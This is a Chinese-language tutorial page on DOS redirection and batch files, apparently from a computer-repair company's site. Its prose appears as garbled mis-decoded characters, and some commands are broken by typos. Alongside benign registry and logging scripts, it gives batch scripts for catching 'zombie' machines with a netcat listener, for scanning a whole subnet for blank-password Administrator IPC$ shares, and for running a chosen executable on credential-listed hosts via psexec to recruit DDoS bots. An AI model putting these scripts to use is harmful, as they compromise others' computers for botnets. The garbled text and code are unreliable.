Òª½«ÃüÁîÊä³öÌí¼Óµ½Îļþ½áβ¶ø²»¶ªÊ§ÎļþÖеÄÈκÎÐÅÏ¢£¬ÇëʹÓÃË«´óÓÚºÅ(>>)¡£ÀýÈ磬 ÔÚÒÔÏÂÃüÁîÖУ¬dirÃüÁîÉú³ÉµÄĿ¼ÁÐ±í¸½¼Óµ½Dirlist.txtÎļþÖÐ:dir>dirlist.txt£¬½«ÊäÈëÖض¨Ïòµ½Ò»¸öÃüÁ¾ÍÏó¿ÉÒÔ ½«ÃüÁîÊä³ö·¢Ë͵½Îļþ»ò´òÓ¡»ú¶ø²»ÊÇÆÁĻһÑù£¬Äú¿ÉÒÔ´ÓÎļþ¶ø²»ÊÇ´Ó¼üÅÌ»ñÈ¡ÃüÁîµÄÊäÈë¡£Òª´ÓÎļþ»ñÈ¡ÊäÈ룬ÇëʹÓÃСÓÚºÅ(<)¡£ÀýÈ磬ÒÔÏÂÃüÁ ´ÓList.txtÎļþÖлñÈ¡sortÃüÁîµÄÊäÈë:sort
 
¡ø3¡¢Ó¦ÓþÙÀý
 
¢Ù¸ø×¢²á±í¼ÓËø/½âËø
 
´ó¼ÒÖªµÀ£¬×¢²á±íHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVerssion\ Policies\System·Ö֧ϵÄDWORDÖµ¡°Disableregistrytools¡±µÄ¼üÖµÈçΪ¡°1¡±£¬Ôò¿ÉÒÔ¸ø×¢²á±í¼ÓËø£¬ÕâÑù±ðÈ˾ÍÎÞ ·¨Ê¹ÓÃ×¢²á±í±à¼­Æ÷¡£ÀûÓÃÖض¨ÏòÃüÁîÔÚDOSϾͿÉÒÔ¸ø×¢²á±í¼ÓËø/½âËø£¬·Ç³£·½±ã¡£
 
´ò¿ª¼Çʱ¾³ÌÐò£¬Ð½¨Ò»¸öÎı¾Îļþ£¬ÊäÈëÈçÏÂÄÚÈÝ:
 
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]>>123.reg
@echo "DisableRegistryTools"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg

Áí´æΪÒÔ.batΪÀ©Õ¹ÃûµÄÅú´¦ÀíÎļþ£¬µã»÷Õâ¸öÎļþ×¢²á±í¾Í»á±»Ëø¶¨!
 
ÔÚÉÏÃæµÄÃüÁîÖУ¬echoÊÇDOSϵĻØÏÔÃüÁÔÚËüµÄÇ°Ãæ¼ÓÉÏ¡°@¡±Ç°×º×Ö·û£¬±íʾִÐÐʱ±¾ÐÐÔÚÃüÁîÐлòDOSÀïÃæ²»ÏÔʾ£¬Èç¹ûÏë¿´µ½³ÌÐòÖ´Ðйý³Ì£¬ Ç뽫¡°@¡±È¥µô¡£´ó¼ÒÔÚ±àдÉÏÊö´úÂëʱҪעÒâµÄÊÇ£¬µÚÒ»ÐÐÖеġ°REGEDIT4¡±Ò»¶¨ÒªÓôóд×Öĸ£¬ÔÚµÚ¶þÐÐÖС°echo¡±ºÍ¡°.¡±Ö®¼äûÓпոñ¡£ ¡°>>¡±²úÉúµÄÄÚÈݽ«×·¼Óµ½ËüºóÃæµÄÎļþÖС£ÔÚÎļþµÄ×îºóÒ»ÐмÓÉÏdeltree /y 123.reg£¬¾Í¿ÉÒÔÎÞÐèÈ·ÈϾÍɾ³ý123.regÎļþ¡£
 
ÒªÏë¸ø×¢²á±í½âËø£¬¿ÉÒԱ༭Õâ¸öÅú´¦ÀíÎļþ£¬Ö»Ð轫 "DisableRegistryTools"=dword:00000001¸ÄΪ"DisableRegistryTools"=dword: 00000000£¬ÆäËûÄÚÈݲ»±ä£¬±£´æΪ.batÎļþ£¬µã»÷¾Í¿ÉÒÔ¸ø×¢²á±í½âËøÁË¡£
 
¢Ú°ÑµÇ½3389µÄ»úÆ÷IP¼Ç¼ÏÂÀ´
 
°ÑÏÂÃæµÄÄÚÈݱ£´æΪ3389IP.bat: 

time /t >>log.log
netstat -n -p tcp |find ":3389">>Log.log
start Explorer

ÔËÐÐ3389IP.bat£¬È»ºó²é¿´log.logÎļþ¼´¿É¿´µ½µÇ½3389µÄ»úÆ÷IP£¬ÊDz»ÊǺܷ½±ãÄØ?
 
¢Û»Ö¸´DOSʵģʽ
 
´ó¼ÒÖªµÀ£¬Ä³Ð©¶ñÒâÍøÒ³»áÐÞ¸Ää¯ÀÀÕßµÄ×¢²á±í£¬ÔÚÎÞËù²»ÓÃÆ伫µÄ¸÷ÖÖÊÖ¶ÎÖУ¬ÐÞ¸Ä×¢²á±íʹDOSʵģʽ²»¿ÉÓÃÊÇÆäÖеÄÕÐÊýÖ®Ò»¡£ÒªÏë»Ö¸´DOSʵģʽ·½·¨Óкܶ࣬ÓÃÅú´¦ÀíºÍÖض¨ÏòÃüÁî½áºÏʹÓã¬ÊDZȽÏÌرðµÄÒ»ÕУ¬ÔÚ´ËÓë´ó¼Ò·ÖÏí¡£
 
echo off
echo REGEDIT4>c:\scanreg.reg
@echo.>>lock.reg
echo [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]>>c:\scanreg.reg
echo "NoRealMode"=dword:00000000>>c:\scanreg.reg
regedit /s c:\scanreg.reg
@del c:\scanreg.reg

Áí´æΪÒÔ.batΪÀ©Õ¹ÃûµÄÅú´¦ÀíÎļþ£¬µã»÷Õâ¸öÎļþ¾Í¿ÉÒÔ»Ö¸´DOSʵģʽ£¬ÄÇЩDOSÓ¦ÓóÌÐòÓÖ¿ÉÒÔʹÓÃÁË¡£
 
¢ÜµÈ´ýÈ⼦ÉÏÃÅ
 
ÿÌì·Ñʱ·ÑÁ¦µÄÕÒÈ⼦ÊDz»ÊǺÜÐÁ¿à£¬ÀûÓÃÖض¨ÏòÃüÁîºÍÅú´¦ÀíÎļþ¾Í¿ÉÒÔÈÃÄã¼òµ¥µÄÕÒµ½È⼦!·½·¨ÊÇÓüÇʱ¾Ð½¨Ò»¸öÎı¾Îļþ£¬ÊäÈëÈçÏÂÄÚÈÝ:
 
@echo off
:start
nc -vv -w 5 -l -p 80>>rouji.log
goto start

±£´æΪ.batÎļþ(ÊÂÏȵÃ×¼±¸ºÃÒ»¸önc.exeÎļþ£¬ËüÊÇÍøÂç¹ÊÕÏʼþ¼ì²âÈí¼þNetcatµÄÖ÷³ÌÐò)£¬È»ºóÔËÐд˳ÌÐòÖ®ºó£¬Äã¾ÍµÈ×ÅÈ⼦ÉÏÃÅÖ÷¶¯À´ÕÒÄã°É!ÔËÆøºÃµÄ»°£¬Ã¿Ìì10¸ö²»³ÉÎÊÌâ¡£
 
¢Ý¿ìËÙ½øÐпÕÁ¬½Ó
 
¿ÕÁ¬½ÓÊÇÔÚûÓÐÐÅÈεÄÇé¿öÏÂÓë·þÎñÆ÷½¨Á¢µÄ»á»°£¬»»¾ä»°Ëµ£¬ËüÊÇÒ»¸öµ½·þÎñÆ÷µÄÄäÃû·ÃÎÊ¡£Ê¹ÓÃÃüÁînet use \\IP\ipc""/user:""¾Í¿ÉÒÔ¼òµ¥µØºÍÄ¿±ê½¨Á¢Ò»¸ö¿ÕÁ¬½Ó(ÐèҪĿ±ê¿ª·ÅIPC)¡£ÀûÓÃÖض¨ÏòÃüÁîºÍforÃüÁî¾Í¿ÉÒÔ¶ÔÒ»¸öCÀàÍø¶Î½øÐпìËٵĿÕÁ¬½Ó£¬²¢°Ñ½á¹û±£´æµ½Ò»¸öÎļþ Öй©Äã·ÖÎö¡£·½·¨ÊÇÓüÇʱ¾±à¼­ÈçÏÂÄÚÈݵÄÎļþ:
 
@echo off
echo ¸ñʽ:test *.*.*>test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%Gipc""/use:"Administrator"|find"ÃüÁîÍê³É">>test.txt
Åú´¦ÀíÎļþ±£´æΪ.bat£¬ÔËÐм´¿É¡£Õâ¸öÅú´¦ÀíÎļþµÄ¹¦ÄÜÊǶÔÄãÖ¸¶¨µÄÒ»¸öCÀàÍø¶ÎÖеÄ254¸öipÒÀ´ÎÊÔ½¨Á¢ÕʺÅΪadministrator¿ÚÁîΪ¿ÕµÄipcÁ¬½Ó£¬Èç¹û³É¹¦¾Í°Ñ½á¹û¼Ç¼ÔÚtest.txt¡£ÕâÑù¾ÍʵÏÖÁËNTÈõ¿ÚÁîɨÃ蹦ÄÜ!ÆäÖУ¬forÃüÁîµÄ¹¦ÄÜÊǶÔÒ»×éÎļþÖеÄÿһ¸öÎļþÖ´ÐРij¸öÌض¨ÃüÁҲ¾ÍÊÇ¿ÉÒÔÓÃÄãÖ¸¶¨µÄÑ­»··¶Î§Éú³ÉһϵÁÐÃüÁî¡£ForÃüÁîµÄ¸ñʽΪ:FOR %variable IN (set) DO command [command-parameters]£¬¾ßÌåµÄº¬Òå:
 
%variable:Ö¸¶¨Ò»¸öµ¥Ò»×Öĸ¿ÉÌæ»»µÄ²ÎÊý¡£
 
(set):Ö¸¶¨Ò»¸ö»òÒ»×éÎļþ¡£¿ÉÒÔʹÓÃͨÅä·û¡£
 
command:Ö¸¶¨¶Ôÿ¸öÎļþÖ´ÐеÄÃüÁî¡£
 
command-parameters:ΪÌض¨ÃüÁîÖ¸¶¨²ÎÊý»òÃüÁîÐпª¹Ø¡£
 
ÔÚÅú´¦ÀíÎļþÖÐʹÓÃFORÃüÁîʱ£¬Ö¸¶¨±äÁ¿ÇëʹÓÃ%%variable¶ø²»ÒªÓÃ%variable¡£±äÁ¿Ãû³ÆÊÇÇø·Ö´óСдµÄ£¬ËùÒÔ%i²»Í¬%I¡£
 
¢Þ½ûÖ¹¿ÕÁ¬½Ó
 
¿ÕÁ¬½ÓµÄ´æÔÚ¶ÔÓÐÒ»¶¨µÄΣÏÕ£¬ËùÒÔÎÒÃÇ»¹ÊǽûÖ¹ËüΪºÃ!·½·¨ÊÇÊäÈënet share²ì¿´±¾µØ¹²Ïí×ÊÔ´£¬½ÓÏÂÀ´ÊäÈëÈçÏÂÃüÁîɾ³ý¹²Ïí:
 

net share ipc/deletenetshareadmin /delete
 net share c/deletenetshared /delete(Èç¹ûÓÐe,fµÈÅÌ·û¿ÉÒÔͬ·¨É¾³ý)
 
È»ºóÓüÇʱ¾Ð½¨Ò»¸öÎı¾Îļþ£¬ÊäÈëÈçÏÂÄÚÈݼ´¿É:
 
@echo REGEDIT4>>123.reg
@echo.>>123.reg
@echo [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA]>>123.reg
@echo "RestrictAnonymous"=dword:00000001>>123.reg
@REGEDIT /S /C 123.reg
@deltree /y 123.reg

Áí´æΪÒÔ.batΪÀ©Õ¹ÃûµÄÅú´¦ÀíÎļþ£¬µã»÷Õâ¸öÎļþ¾Í¿ÉÒÔ½ûÖ¹¿ÕÁ¬½Ó¡£
 
¢ßɨÃèËùÓкͱ¾»úÒÔTCPЭÒéÁ¬½ÓµÄ¼ÆËã»ú
 
ɨÃè×Ô¼ºµÄ¼ÆËã»ú¶Ë¿Ú£¬·¢ÏÖÓÐÌØÊâ¶Ë¿Ú´ò¿ª£¬¿ÉÒÔ²éľÂí£¬²»½öÈç´Ë£¬ÀûÓÃÏÂÃæÕâ¸öÅú´¦ÀíÎļþ»¹¿ÉÒÔ°ÑËùÓкͱ¾»úÒÔTCPЭÒéÁ¬½ÓµÄ¼ÆËã»úIPµØÖ·¶¼¼Ç¼ÏÂÀ´¡£Õâ¸ö.batÎļþÄÚÈÝÈçÏÂ:
 
data /t>>123.log
time /t>>123.log
netstat -n -p tcp 10>>123.log

ÕâÑù²»½ö¿ÉÒԼǼ϶Է½µÄIP£¬»¹ÓÐʱ¼äºÍÈÕÆÚ£¬·½±ã×Ô¼º²é¿´¡£
 
¢à×Ô¶¯»ñÈ¡DDoSÈ⼦
 
DDoSÊÇDistributed Denial of ServiceµÄËõд£¬Òâ¼´·Ö²¼Ê½¾Ü¾ø·þÎñ¹¥»÷¡£ËüÊÇÖ¸½èÖúÓÚ¿Í»§/·þÎñÆ÷¼¼Êõ£¬½«¶à¸ö¼ÆËã»úÁªºÏÆðÀ´×÷Ϊ¹¥»÷ƽ̨£¬¶ÔÒ»¸ö»ò¶à¸öÄ¿±ê·¢¶¯DoS¹¥»÷£¬´Ó ¶ø³É±¶µØÌá¸ß¾Ü¾ø·þÎñ¹¥»÷µÄÍþÁ¦¡£Í¨³££¬¹¥»÷ÕßʹÓÃÒ»¸ö͵ÇÔÕʺŽ«DDoSÖ÷¿Ø³ÌÐò°²×°ÔÚÒ»¸ö¼ÆËã»úÉÏ£¬ÔÚÒ»¸öÉ趨µÄʱ¼äÖ÷¿Ø³ÌÐò½«Óë´óÁ¿´úÀí³ÌÐòͨѶ£¬ ´úÀí³ÌÐòÒѾ­±»°²×°ÔÚInternetÉϵÄÐí¶à¼ÆËã»úÉÏ¡£´úÀí³ÌÐòÊÕµ½Ö¸Áîʱ¾Í·¢¶¯¹¥»÷¡£ÀûÓÿͻ§/·þÎñÆ÷¼¼Êõ£¬Ö÷¿Ø³ÌÐòÄÜÔÚ¼¸ÃëÖÓÄÚ¼¤»î³É°ÙÉÏǧ´Î´úÀí ³ÌÐòµÄÔËÐС£
 
ËäÈ»²»½¨Òé´ó¼ÒʹÓÃDDoS·½Ê½¹¥»÷£¬µ«×÷Ϊ¼¼ÊõÕÆÎÕ»¹ÊǺÜÓбØÒªµÄ¡£¿ÉÊÇ£¬ÈçºÎ²ÅÄÜ»ñÈ¡½øÐÐDDoS¹¥»÷µÄÈ⼦ÄØ?°ÑÏÂÃæµÄÄÚÈݱ£´æΪok.batÎļþ¾Í¿ÉÒԴﵽĿµÄÁË:
 
@echo off
echo×Ô¶¯»ñÈ¡DDoSÈ⼦
for /f "tokens=1,3*" %i in (host.txt) do net use \\%k\ipc/user:"\sysytem32
if errorelevel 0 goto success
psexec -d \\%i c:\winnt\system32\%1
net user \\%i\ipc$ /del
:success
echo >>success.txt
echo È⼦:%i>>success.txt
echo ̞:%j>>success.txt
echo ÃÜÂë:%k>>success.txt
echo >>success.txt

ʹÓ÷½·¨ÊÇok.bat *.exe host.txt£¬ÆäÖÐhost.txtµÄ¸ñʽΪ:ip administrator password¡£ºÃÁË£¬¿ìÊÔÊÔ°É¡£µ«²»ÒªÓÃÀ´¸ÉÆÆ»µ¡£
 
Æäʵ£¬±¾ÎÄËù˵µÄ·½·¨Ö÷ÒªÊÇÀûÓÃÁËÅú´¦ÀíºÍÏà¹ØµÄÃüÁÖض¨ÏòÃüÁîÔÚÆäÖÐÖ»ÊǸöŦ´ø£¬ÆðÁ¬½Ó×÷Ó㬵«Ò²ÊDz»¿ÉºöÊӵģ¬ÔËÓõúã¬Äܹ»´ó´óÌá¸ß¹¤×÷ЧÂʺͷ½±ãÐÔ¡£

·¢²¼Ê±¼ä:2020/5/20 ÔĶÁ:5387´Î À´Ô´:
 


¡¡
市场动æ€?·ÖÀà
   
  ÐÐÒµÐÂÎÅ
 
  ¹«Ë¾¶¯Ì¬
 
  ¼¼Êõ×ÊÁÏ
 
  µçÄÔάÐÞ
 
  »Ö¸´°¸Àý
 
  SQLÊý¾Ý¿â
 
  ´ÅÅÌÕóÁÐ
 
  ·þÎñÆ÷
 
  ²ÆÎñÈí¼þ
 
  ÍøÂçÎÊÌâ
 
  linux-XFS
 
  Æ»¹ûµçÄÔ&ϵͳ
 
  °²×¿ÏµÍ³Ïà¹Ø
 
  °ì¹«Îļþ
 
  ²Ù×÷ϵͳ
 
  ÈÕ³£Éú»î(ÑĮ̀)
 
  ÍøÕ¾Ïà¹Ø
 
   
¡¡
ÓÑÇéÁ´½Ó
¡¡
¡¡
 
 
 
   
¹«Ë¾µØÖ·£ºÑĮ̀µçÄÔÊг¡#308
µç»°£º0535-6688830 E-Mail:163@163.com
Copyright©2011-2012 ÑĮ̀Èð³Û¿ÆóÓÐÏÞ¹«Ë¾ All Rights Reserved.
³ICP±¸11014811ºÅ-1
ÄúÊDZ¾Õ¾µÚ λ·ÃÎÊÕß